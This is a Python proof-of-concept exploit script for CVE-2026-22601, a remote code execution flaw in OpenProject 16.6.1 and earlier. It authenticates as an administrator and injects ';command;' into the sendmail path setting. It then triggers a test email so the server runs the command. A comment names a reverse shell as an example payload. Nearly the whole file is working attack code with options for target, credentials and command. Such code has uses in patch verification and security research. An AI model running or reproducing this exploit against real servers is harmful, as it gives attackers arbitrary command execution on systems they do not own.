#!/usr/bin/env python3
"""
CVE-2026-22601 PoC - OpenProject Remote Code Execution
Description: OpenProject <= 16.6.1 allows administrators to execute arbitrary commands
via sendmail binary path configuration.
Usage: python3 CVE-2026-22601_poc.py -t TARGET -u USERNAME -p PASSWORD
"""
import argparse
import requests
import json
import re
def login(target, username, password):
"""Authenticate to OpenProject and get session cookies"""
session = requests.Session()
login_url = f"{target}/login"
# Get CSRF token
response = session.get(login_url)
csrf_token = re.search(r'name="_csrf_token" value="([^"]+)"', response.text)
if not csrf_token:
print("[-] Failed to get CSRF token")
return None
# Login request
login_data = {
"username": username,
"password": password,
"_csrf_token": csrf_token.group(1),
"login": ""
}
response = session.post(login_url, data=login_data, allow_redirects=False)
if response.status_code in [302, 303]:
print(f"[+] Login successful: {username}")
return session
else:
print("[-] Login failed")
return None
def exploit(session, target, command):
"""Exploit CVE-2026-22601 by configuring malicious sendmail path"""
settings_url = f"{target}/settings/plugin/openproject"
# Get current settings page
response = session.get(settings_url)
csrf_token = re.search(r'name="_csrf_token" content="([^"]+)"', response.text)
if not csrf_token:
csrf_token = re.search(r'meta content="([^"]+)" name="csrf-token"', response.text)
# Prepare malicious payload
# Example:反弹shell command
malicious_path = f";{command};"
# Update email settings with malicious sendmail path
settings_data = {
"settings[sendmail_location]": malicious_path,
"_csrf_token": csrf_token.group(1) if csrf_token else ""
}
response = session.patch(settings_url, data=settings_data)
# Trigger test email to execute command
test_email_url = f"{target}/settings/plugin/openproject/test_mails"
test_data = {
"sender_name": "Test",
"sender_email": "
[email protected]",
"_csrf_token": csrf_token.group(1) if csrf_token else ""
}
response = session.post(test_email_url, data=test_data)
print(f"[*] Payload sent, command executed: {command}")
print(f"[*] Response status: {response.status_code}")
def main():
parser = argparse.ArgumentParser(description='CVE-2026-22601 PoC')
parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://target.com)')
parser.add_argument('-u', '--username', required=True, help='Admin username')
parser.add_argument('-p', '--password', required=True, help='Admin password')
parser.add_argument('-c', '--command', default='id', help='Command to execute')
args = parser.parse_args()
# Login
session = login(args.target, args.username, args.password)
if session:
# Exploit
exploit(session, args.target, args.command)
if __name__ == "__main__":
main()